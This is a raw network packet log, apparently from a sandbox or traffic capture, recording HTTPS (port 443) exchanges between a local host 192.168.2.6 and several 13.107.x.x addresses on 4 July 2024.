Jul 4, 2024 20:19:37.537481070 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.537509918 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.537558079 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.537579060 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.538830042 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.538887024 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.538893938 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.538907051 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.538947105 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.538954973 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.538994074 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.639498949 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.639576912 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.639590025 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.640855074 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.640903950 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.640912056 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.641556978 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.641602039 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.641609907 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.643140078 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.643186092 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.643193960 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.692749023 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.729691982 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.729702950 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.729806900 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.729823112 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.730295897 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.730340004 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.730356932 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.730365992 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.730389118 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.730597019 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.730648041 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.730655909 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.731395006 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.731446981 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.731456041 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.732337952 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.732393026 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.732402086 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.733267069 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.733417034 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.733424902 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.733840942 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.733897924 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.733905077 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.734494925 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.734559059 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.734566927 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.786487103 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.820419073 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.820427895 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.820472956 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.820499897 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.820506096 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.820686102 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.820719004 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.820743084 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.820750952 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.820760012 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.821094036 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.821141958 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.821149111 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.821625948 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.821681976 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.821690083 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.821886063 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.821983099 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.821990967 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.822424889 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.822474003 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.822482109 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.822706938 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.822757006 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.822763920 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.823337078 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.823380947 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.823391914 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.823524952 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.823568106 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.823575020 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.824074030 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.824120045 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.824523926 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.824534893 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.834698915 CEST	49930	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:37.834716082 CEST	443	49930	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:37.834774017 CEST	49930	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:37.835035086 CEST	49930	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:37.835047007 CEST	443	49930	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:38.401602030 CEST	443	49930	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:38.403204918 CEST	49930	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:38.403219938 CEST	443	49930	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:38.526814938 CEST	443	49930	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:38.526988029 CEST	443	49930	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:38.527764082 CEST	49930	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:38.527776957 CEST	443	49930	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:38.527802944 CEST	49930	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:38.527880907 CEST	49930	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:38.531681061 CEST	49931	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:38.531727076 CEST	443	49931	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:38.536509991 CEST	49931	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:38.537116051 CEST	49931	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:38.537132978 CEST	443	49931	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:39.137480974 CEST	443	49931	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:39.139456034 CEST	49931	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:39.139487982 CEST	443	49931	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:40.360714912 CEST	443	49931	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:40.360778093 CEST	49931	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:40.360801935 CEST	443	49931	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:40.360814095 CEST	443	49931	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:40.360863924 CEST	49931	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:40.361586094 CEST	49931	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:40.363240957 CEST	49932	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:40.363287926 CEST	443	49932	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:40.363357067 CEST	49932	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:40.363719940 CEST	49932	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:40.363739014 CEST	443	49932	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:40.962172031 CEST	443	49932	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:40.964150906 CEST	49932	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:40.964190960 CEST	443	49932	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:41.114922047 CEST	49932	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:41.114973068 CEST	443	49932	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:41.115124941 CEST	443	49932	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:41.115212917 CEST	49932	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:41.115212917 CEST	49932	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:41.119589090 CEST	49933	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:41.119626999 CEST	443	49933	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:41.123758078 CEST	49933	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:41.127577066 CEST	49933	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:41.127590895 CEST	443	49933	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:41.727174997 CEST	443	49933	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:41.729605913 CEST	49933	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:41.729629040 CEST	443	49933	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:41.852266073 CEST	443	49933	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:41.852332115 CEST	443	49933	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:41.852385044 CEST	49933	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:41.856487036 CEST	49933	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:41.867517948 CEST	49934	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:41.867553949 CEST	443	49934	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:41.867599964 CEST	49934	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:41.867945910 CEST	49934	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:41.867960930 CEST	443	49934	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:42.493607998 CEST	443	49934	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:42.493712902 CEST	49934	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:42.495326042 CEST	49934	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:42.495340109 CEST	443	49934	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:42.495560884 CEST	443	49934	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:42.496794939 CEST	49934	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:42.540508986 CEST	443	49934	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.069081068 CEST	443	49934	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.069168091 CEST	443	49934	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.069190979 CEST	49934	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.069658995 CEST	49934	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.071372986 CEST	49934	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.071376085 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.071408987 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.073615074 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.077537060 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.077553034 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.705446005 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.725491047 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.725508928 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.879928112 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.879960060 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.880007029 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.880021095 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.880062103 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.880336046 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.880342960 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.880390882 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.880398989 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.881207943 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.881251097 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.881259918 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.881299019 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.973084927 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.973151922 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.973161936 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.974304914 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.974354982 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.974363089 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.975259066 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.975303888 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.975311995 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.976228952 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.976272106 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:43.976280928 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:43.976301908 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.020870924 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.066461086 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.066473961 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.066519976 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.066556931 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.066561937 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.066786051 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.066834927 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.066843987 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.067579985 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.067636013 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.067643881 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.067847967 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.067903996 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.067912102 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.068572044 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.068624973 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.068634033 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.069504023 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.069557905 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.069570065 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.070209026 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.070265055 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.070272923 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.114618063 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.143984079 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.143992901 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.144042969 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.144052982 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.160919905 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.160962105 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.160976887 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.160986900 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.161009073 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.161166906 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.161209106 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.161232948 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.161243916 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.161263943 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.161465883 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.161525011 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.161531925 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.162034035 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.162079096 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.162086964 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.162098885 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.162146091 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.162154913 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.162337065 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.162378073 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.162385941 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.162894964 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.162949085 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.162956953 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.163151979 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.163197041 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.163204908 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.163820982 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.163877010 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.163885117 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.164149046 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.164197922 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.164206028 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.164757013 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.164812088 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.164819956 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.164829969 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.164880991 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.164887905 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.164902925 CEST	443	49935	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.164952040 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.165348053 CEST	49935	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.175369024 CEST	49936	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:44.175404072 CEST	443	49936	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:44.175465107 CEST	49936	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:44.175718069 CEST	49936	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:44.175729036 CEST	443	49936	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:44.745865107 CEST	443	49936	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:44.747586966 CEST	49936	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:44.747612000 CEST	443	49936	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:44.930392027 CEST	443	49936	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:44.930450916 CEST	443	49936	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:44.930592060 CEST	49936	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:44.931000948 CEST	49936	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:44.934209108 CEST	49937	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.934248924 CEST	443	49937	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:44.934588909 CEST	49937	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.934751034 CEST	49937	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:44.934762955 CEST	443	49937	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:45.586889982 CEST	443	49937	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:45.589654922 CEST	49937	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:45.589678049 CEST	443	49937	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:46.626868963 CEST	443	49937	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:46.626952887 CEST	443	49937	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:46.627145052 CEST	49937	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:46.627698898 CEST	49937	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:46.628998995 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:46.629019022 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:46.629218102 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:46.631596088 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:46.631608963 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:47.922369957 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:47.924654007 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:47.924669981 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.083432913 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.083457947 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.083499908 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.083520889 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.084430933 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.084486961 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.084492922 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.088521957 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.088570118 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.088576078 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.130248070 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.175843000 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.175851107 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.175899982 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.175914049 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.176193953 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.176249027 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.176255941 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.176422119 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.176470995 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.176477909 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.177031040 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.177081108 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.177094936 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.224000931 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.279223919 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.279232025 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.279283047 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.279290915 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.279551983 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.279560089 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.279617071 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.279623985 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.279894114 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.279931068 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.279939890 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.279947042 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.279969931 CEST	49938	443	192.168.2.6	13.107.137.11
